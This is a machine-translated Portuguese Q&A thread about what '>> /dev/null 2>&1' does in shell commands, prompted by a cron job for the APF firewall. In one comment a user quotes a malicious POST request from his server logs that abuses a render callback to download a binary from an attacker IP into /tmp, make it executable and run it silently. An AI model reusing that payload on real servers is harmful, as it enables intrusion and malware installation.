O que é / dev / null 2> & 1?

237

Encontrei este código em /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Está liberando e recarregando o firewall.
Eu não entendo a >> /dev/null 2>&1parte.

Qual é o propósito de ter isso no cron? Está substituindo minhas regras de firewall. Posso remover com segurança este trabalho cron?

em repouso
fonte
1
FYI: Uma maneira mais curta de silenciar um processo é >&- 2>&-.
Zaz
22
@ Jos: por que tornar as coisas ainda mais enigmáticas do que já são?
Endolith
4
@ Josh Isso fecha os respectivos FDs, o que poderia abortar os programas.
glglgl
1
é 2>&1 > /dev/nullo mesmo que > /dev/null 2>&1 ? Parece mais natural para mim ...
edelans
6
@edelans Não. Dessa forma, redireciona o stderr para o stdout, mas somente o stdout original para - /dev/nullstderr ainda será produzido. Tente a ferramenta em gist.github.com/zigg/344361751c0110419b0f
zigg

Respostas:

354

>> /dev/nullredireciona a saída padrão ( stdout) para /dev/null, que a descarta.

( >>Parece meio supérfluo, já que >>significa anexar enquanto >significa truncar e escrever, e anexar ou gravar /dev/nulltem o mesmo efeito líquido. Normalmente, eu apenas uso >por esse motivo.)

2>&1redireciona o erro padrão ( 2) para a saída padrão ( 1), que também o descarta, pois a saída padrão já foi redirecionada.

zigg
fonte
7
O que o &símbolo indica lá 2>&1.
28517 Ninguém é
17
& indica um descritor de arquivo. Geralmente, existem três descritores de arquivo - entrada, saída e erro padrão.
precisa saber é o seguinte
1
@Nobody verificar a minha resposta abaixo para sua pergunta stackoverflow.com/questions/10508843/what-is-dev-null-21/...
Vishrant
1
Se & indica um descritor de arquivo, por que não existe & antes de 2?
user6708151
1
Apenas no caso dos outros não lêem a seguir resposta explicando descritores de arquivos:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain
199

Vamos dividir a >> /dev/null 2>&1declaração em partes:


Parte 1: >> redirecionamento de saída

Isso é usado para redirecionar a saída do programa e anexá-la ao final do arquivo. Mais...


Parte 2: /dev/null arquivo especial

Este é um arquivo especial de pseudo-dispositivos .

O comando ls -l /dev/nullfornecerá detalhes desse arquivo:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Você observou crw? O que significa que é um arquivo de pseudo-dispositivo que é do tipo de arquivo especial de caractere que fornece acesso serial.

/dev/nullaceita e descarta todas as entradas; não produz saída (sempre retorna uma indicação de fim de arquivo em uma leitura). Referência: Wikipedia


Parte 3: 2>&1 descritor de arquivo

Sempre que você executa um programa, o sistema operacional sempre abre três arquivos, entrada padrão, saída padrão e erro padrão, como sabemos sempre que um arquivo é aberto, o sistema operacional (do kernel ) retorna um número inteiro não negativo chamado descritor de arquivo . O descritor de arquivo para esses arquivos é 0, 1 e 2, respectivamente.

Então, 2>&1simplesmente diz redirecionar o erro padrão para a saída padrão.

& significa o que segue é um descritor de arquivo, não um nome de arquivo.

Em resumo, usando este comando, você está dizendo ao seu programa para não gritar durante a execução.

Qual a importância de usar 2>&1?

Se você não quiser produzir nenhuma saída, mesmo no caso de algum erro produzido no terminal. Para explicar mais claramente, vamos considerar o seguinte exemplo:

$ ls -l > /dev/null

Para o comando acima, nenhuma saída foi impressa no terminal, mas e se este comando produzir um erro:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Apesar de eu estar redirecionando a saída para /dev/null, ela é impressa no terminal. É porque não estamos redirecionando a saída de erro para /dev/null, portanto, para redirecionar também a saída de erro, é necessário adicionar 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1
Vishrant
fonte
2
Bom exemplo! Não sei '>' não redirecionará 'STDERR' antes.
Miao.wang
Bem explicado! muito informativo. obrigado. Isso me ajudaria a entender o ataque da Web que me deparei recentemente. O atacante está injetando algum código malicioso através da solicitação POST, que contém o código acima.
Sohel Pathan
1
@Vishrant O código injetado é como: POST / usuário / senha? Nome [% 23post_render] [] = sistema e nome [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx é o IP do invasor e também é listado como abusivo em muitos sites. O primeiro e mais importante passo preventivo é bloquear o IP no firewall, bem como o padrão desses IPs. O ataque foi redirecionado no site de terceiros no carregamento da página inicial. O log do servidor Apache mostrou IP e solicitação duvidosos.
Sohel Pathan
5
Eu só estava me perguntando por que não estamos usando '&' antes das 2 também. Alguém poderia por favor tirar minha dúvida?
Snehasish Karmakar
1
@SnehasishKarmakar uma pergunta legítima. Acredito que o SO seja inteligente o suficiente para entender que o primeiro argumento será um descritor de arquivo, mas >é um operador de redirecionamento, o que quer que seja que o operador de redirecionamento a seguir seja esperado para ser um local de arquivo acrescentado &antes 1indica que não é um arquivo em que o aplicativo precisa redirecionar a saída, mas um descritor de arquivo. Agradeço se alguém puder adicionar mais detalhes deste comentário.
Vishrant
58

Esta é a maneira de executar um programa silenciosamente e ocultar toda a sua saída.

/dev/nullé um objeto especial do sistema de arquivos que descarta tudo o que está escrito nele. Redirecionar um fluxo para ele significa ocultar a saída do seu programa.

A 2>&1parte significa "redirecionar o fluxo de erros para o fluxo de saída"; portanto, quando você redireciona o fluxo de saída, o fluxo de erros também é redirecionado. Mesmo que seu programa grave stderragora, essa saída também será descartada.

dasblinkenlight
fonte
37
Na verdade, 2>&1na verdade redireciona stderrpara stdout. A diferença entre isso e o que você reivindicou é melhor ilustrada trocando a ordem dos redirecionamentos, por exemplo 2>&1 >/dev/null.
zigg
15

/dev/null é um arquivo padrão que descarta tudo o que você escreve nele, mas informa que a operação de gravação foi bem-sucedida.

1é saída padrão e 2é erro padrão.

2>&1redireciona o erro padrão para a saída padrão. &1indica descritor de arquivo (saída padrão); caso contrário (se você usar apenas 1), você redirecionará o erro padrão para um arquivo chamado 1. [any command] >>/dev/null 2>&1redireciona todos os erros padrão para a saída padrão e grava tudo isso em /dev/null.

Yuriy
fonte
7

Eu uso >> /dev/null 2>&1para um cronjob silencioso. Um cronjob fará o trabalho, mas não enviará um relatório para o meu email.

Tanto quanto eu sei, não remova /dev/null. É útil, especialmente quando você executa o cPanel , pode ser usado para relatórios de cronjob descartáveis.

cristão
fonte
2

Conforme descrito pelos outros, gravar em / dev / null elimina a saída de um programa. Geralmente, o cron envia um email para todas as saídas do processo iniciadas com um cronjob. Portanto, ao escrever a saída em / dev / null, você evita o envio de spam se tiver especificado seu endereço no cron.

FSMaxB
fonte
0

Edit /etc/conf.apf. Set DEVEL_MODE="0". DEVEL_MODEdefina como 1adicionará um trabalho cron para parar o apf após 5 minutos.

dstonek
fonte